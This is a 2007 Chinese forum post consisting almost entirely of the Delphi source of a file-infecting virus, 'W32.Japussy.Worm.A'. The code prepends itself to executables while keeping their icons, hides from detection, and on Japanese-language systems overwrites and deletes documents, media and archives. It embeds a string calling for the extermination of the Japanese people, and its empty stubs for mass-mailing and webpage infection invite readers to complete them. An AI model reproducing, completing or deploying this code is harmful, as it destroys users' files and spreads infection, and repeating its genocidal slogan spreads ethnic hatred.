- 经验
- 89358
- 分贝
- 0
- 家园分
- 190452
- 在线时间:
- 978 小时
- 最后登录:
- 2017-8-22
- 帖子:
- 20363
- 精华:
- 81
- 注册时间:
- 2005-9-14
- UID:
- 58051
注册:2005-9-141
|
发表于 2007-2-15 21:29:00
|显示全部楼层
<div class="HtmlCode">program Japussy;<br/>uses<br/>Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};<br/>const<br/>HeaderSize = 82432; //病毒体的大小<br/>IconOffset = $12EB8; //PE文件主图标的偏移量<br/><br/>//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同<br/>//查找2800000020的十六进制字符串可以找到主图标的偏移量<br/> <br/>{<br/>HeaderSize = 38912; //Upx压缩过病毒体的大小<br/>IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量<br/><br/>//Upx 1.24W 用法: upx -9 --8086 Japussy.exe<br/>}<br/>IconSize = $2E8; //PE文件主图标的大小--744字节<br/>IconTail = IconOffset + IconSize; //PE文件主图标的尾部<br/>ID = $44444444; //感染标记<br/><br/>//垃圾码,以备写入<br/>Catchword = 'If a race need to be killed out, it must be Yamato. ' +<br/> 'If a country need to be destroyed, it must be Japan! ' +<br/> '*** W32.Japussy.Worm.A ***';<br/>{$R *.RES}<br/>function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; <br/>stdcall; external 'Kernel32.dll'; //函数声明<br/>var<br/>TmpFile: string;<br/>Si: STARTUPINFO;<br/>i: PROCESS_INFORMATION;<br/>IsJap: Boolean = False; //日文操作系统标记<br/>{ 判断是否为Win9x }<br/>function IsWin9x: Boolean;<br/>var<br/>Ver: TOSVersionInfo;<br/>begin<br/>Result := False;<br/>Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);<br/>if not GetVersionEx(Ver) then<br/> Exit;<br/>if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x<br/> Result := True;<br/>end;<br/>{ 在流之间复制 }<br/>procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;<br/>dStartPos: Integer; Count: Integer);<br/>var<br/>sCurPos, dCurPos: Integer;<br/>begin<br/>sCurPos := Src.Position;<br/>dCurPos := Dst.Position;<br/>Src.Seek(sStartPos, 0);<br/>Dst.Seek(dStartPos, 0);<br/>Dst.CopyFrom(Src, Count);<br/>Src.Seek(sCurPos, 0);<br/>Dst.Seek(dCurPos, 0);<br/>end;<br/>{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }<br/>procedure ExtractFile(FileName: string);<br/>var<br/>sStream, dStream: TFileStream;<br/>begin<br/>try<br/> sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<br/> try<br/> dStream := TFileStream.Create(FileName, fmCreate);<br/> try<br/> sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分<br/> dStream.CopyFrom(sStream, sStream.Size - HeaderSize);<br/> finally<br/> dStream.Free;<br/> end;<br/> finally<br/> sStream.Free;<br/> end;<br/>except<br/>end;<br/>end;<br/>{ 填充STARTUPINFO结构 }<br/>procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);<br/>begin<br/>Si.cb := SizeOf(Si);<br/>Si.lpReserved := nil;<br/>Si.lpDesktop := nil;<br/>Si.lpTitle := nil;<br/>Si.dwFlags := STARTF_USESHOWWINDOW;<br/>Si.wShowWindow := State;<br/>Si.cbReserved2 := 0;<br/>Si.lpReserved2 := nil;<br/>end;<br/>{ 发带毒邮件 }<br/>procedure SendMail;<br/>begin<br/>//哪位仁兄愿意完成之?<br/>end;<br/>{ 感染PE文件 }<br/>procedure InfectOneFile(FileName: string);<br/>var<br/>HdrStream, SrcStream: TFileStream;<br/>IcoStream, DstStream: TMemoryStream;<br/>iID: LongInt;<br/>aIcon: TIcon;<br/>Infected, IsPE: Boolean;<br/>i: Integer;<br/>Buf: array[0..1] of Char;<br/>begin<br/>try //出错则文件正在被使用,退出<br/> if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染<br/> Exit;<br/> Infected := False;<br/> IsPE := False;<br/> SrcStream := TFileStream.Create(FileName, fmOpenRead);<br/> try<br/> for i := 0 to $108 do //检查PE文件头<br/> begin<br/> SrcStream.Seek(i, soFromBeginning);<br/> SrcStream.Read(Buf, 2);<br/> if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记<br/> begin<br/> IsPE := True; //是PE文件<br/> Break;<br/> end;<br/> end;<br/> SrcStream.Seek(-4, soFromEnd); //检查感染标记<br/> SrcStream.Read(iID, 4);<br/> if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染<br/> Infected := True;<br/> finally<br/> SrcStream.Free;<br/> end;<br/> if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出<br/> Exit;<br/> IcoStream := TMemoryStream.Create;<br/> DstStream := TMemoryStream.Create;<br/> try<br/> aIcon := TIcon.Create;<br/> try<br/> //得到被感染文件的主图标(744字节),存入流<br/> aIcon.ReleaseHandle;<br/> aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);<br/> aIcon.SaveToStream(IcoStream);<br/> finally<br/> aIcon.Free;<br/> end;<br/> SrcStream := TFileStream.Create(FileName, fmOpenRead);<br/> //头文件<br/> HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<br/> try<br/> //写入病毒体主图标之前的数据<br/> CopyStream(HdrStream, 0, DstStream, 0, IconOffset);<br/> //写入目前程序的主图标<br/> CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);<br/> //写入病毒体主图标到病毒体尾部之间的数据<br/> CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);<br/> //写入宿主程序<br/> CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);<br/> //写入已感染的标记<br/> DstStream.Seek(0, 2);<br/> iID := $44444444;<br/> DstStream.Write(iID, 4);<br/> finally<br/> HdrStream.Free;<br/> end;<br/> finally<br/> SrcStream.Free;<br/> IcoStream.Free;<br/> DstStream.SaveToFile(FileName); //替换宿主文件<br/> DstStream.Free;<br/> end;<br/>except;<br/>end;<br/>end;<br/>{ 将目标文件写入垃圾码后删除 }<br/>procedure SmashFile(FileName: string);<br/>var<br/>FileHandle: Integer;<br/>i, Size, Mass, Max, Len: Integer;<br/>begin<br/>try<br/> SetFileAttributes(PChar(FileName), 0); //去掉只读属性<br/> FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件<br/> try<br/> Size := GetFileSize(FileHandle, nil); //文件大小<br/> i := 0;<br/> Randomize;<br/> Max := Random(15); //写入垃圾码的随机次数<br/> if Max < 5 then<br/> Max := 5;<br/> Mass := Size div Max; //每个间隔块的大小<br/> Len := Length(Catchword);<br/> while i < Max do<br/> begin<br/> FileSeek(FileHandle, i * Mass, 0); //定位<br/> //写入垃圾码,将文件彻底破坏掉<br/> FileWrite(FileHandle, Catchword, Len);<br/> Inc(i);<br/> end;<br/> finally<br/> FileClose(FileHandle); //关闭文件<br/> end;<br/> DeleteFile(PChar(FileName)); //删除之<br/>except<br/>end;<br/>end;<br/>{ 获得可写的驱动器列表 }<br/>function GetDrives: string;<br/>var<br/>DiskType: Word;<br/>D: Char;<br/>Str: string;<br/>i: Integer;<br/>begin<br/>for i := 0 to 25 do //遍历26个字母<br/>begin<br/> D := Chr(i + 65);<br/> Str := D + ':\';<br/> DiskType := GetDriveType(PChar(Str));<br/> //得到本地磁盘和网络盘<br/> if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then<br/> Result := Result + D;<br/>end;<br/>end;<br/>{ 遍历目录,感染和摧毁文件 }<br/>procedure LoopFiles(Path, Mask: string);<br/>var<br/>i, Count: Integer;<br/>Fn, Ext: string;<br/>SubDir: TStrings;<br/>SearchRec: TSearchRec;<br/>Msg: TMsg;<br/>function IsValidDir(SearchRec: TSearchRec): Integer;<br/>begin<br/> if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and<br/> (SearchRec.Name <> '..') then<br/> Result := 0 //不是目录<br/> else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and<br/> (SearchRec.Name <> '..') then<br/> Result := 1 //不是根目录<br/> else Result := 2; //是根目录<br/>end;<br/>begin<br/>if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then<br/>begin<br/> repeat<br/> PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑<br/> if IsValidDir(SearchRec) = 0 then<br/> begin<br/> Fn := Path + SearchRec.Name;<br/> Ext := UpperCase(ExtractFileExt(Fn));<br/> if (Ext = '.EXE') or (Ext = '.SCR') then<br/> begin<br/> InfectOneFile(Fn); //感染可实行文件 <br/> end<br/> else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then<br/> begin<br/> //感染HTML和ASP文件,将Base64编码后的病毒写入<br/> //感染浏览此网页的所有用户<br/> //哪位大兄弟愿意完成之?<br/> end<br/> else if Ext = '.WAB' then //Outlook地址簿文件<br/> begin<br/> //获取Outlook邮件地址<br/> end<br/> else if Ext = '.ADC' then //Foxmail地址自动完成文件<br/> begin<br/> //获取Foxmail邮件地址<br/> end<br/> else if Ext = 'IND' then //Foxmail地址簿文件<br/> begin<br/> //获取Foxmail邮件地址<br/> end<br/> else <br/> begin<br/> if IsJap then //是倭文操作系统<br/> begin<br/> if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or<br/> (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or<br/> (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or<br/> (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or<br/> (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or<br/> (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then<br/> SmashFile(Fn); //摧毁文件<br/> end;<br/> end;<br/> end;<br/> //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑<br/> Sleep(200);<br/> until (FindNext(SearchRec) <> 0);<br/>end;<br/>FindClose(SearchRec);<br/>SubDir := TStringList.Create;<br/>if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then<br/>begin<br/> repeat<br/> if IsValidDir(SearchRec) = 1 then<br/> SubDir.Add(SearchRec.Name);<br/> until (FindNext(SearchRec) <> 0);<br/> end;<br/>FindClose(SearchRec);<br/>Count := SubDir.Count - 1;<br/>for i := 0 to Count do<br/> LoopFiles(Path + SubDir.Strings + '\', Mask);<br/>FreeAndNil(SubDir);<br/>end;<br/>{ 遍历磁盘上所有的文件 }<br/>procedure InfectFiles;<br/>var<br/>DriverList: string;<br/>i, Len: Integer;<br/>begin<br/>if GetACP = 932 then //日文操作系统<br/> IsJap := True; //去死吧!<br/>DriverList := GetDrives; //得到可写的磁盘列表<br/>Len := Length(DriverList);<br/>while True do //死循环<br/>begin<br/> for i := Len downto 1 do //遍历每个磁盘驱动器<br/> LoopFiles(DriverList + ':\', '*.*'); //感染之<br/> SendMail; //发带毒邮件<br/> Sleep(1000 * 60 * 5); //睡眠5分钟<br/>end;<br/>end;<br/>{ 主程序开始 }<br/>begin<br/>if IsWin9x then //是Win9x<br/> RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程<br/>else //WinNT<br/>begin<br/> //远程线程映射到Explorer进程<br/> //哪位兄台愿意完成之?<br/>end;<br/>//如果是原始病毒体自己<br/>if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then<br/> InfectFiles //感染和发邮件<br/>else //已寄生于宿主程序上了,开始工作<br/>begin<br/> TmpFile := ParamStr(0); //创建临时文件<br/> Delete(TmpFile, Length(TmpFile) - 4, 4);<br/> TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格<br/> ExtractFile(TmpFile); //分离之<br/> FillStartupInfo(Si, SW_SHOWDEFAULT);<br/> CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,<br/> 0, nil, '.', Si, Pi); //创建新进程运行之<br/> InfectFiles; //感染和发邮件<br/>end;<br/>end.<br/></div>
|
|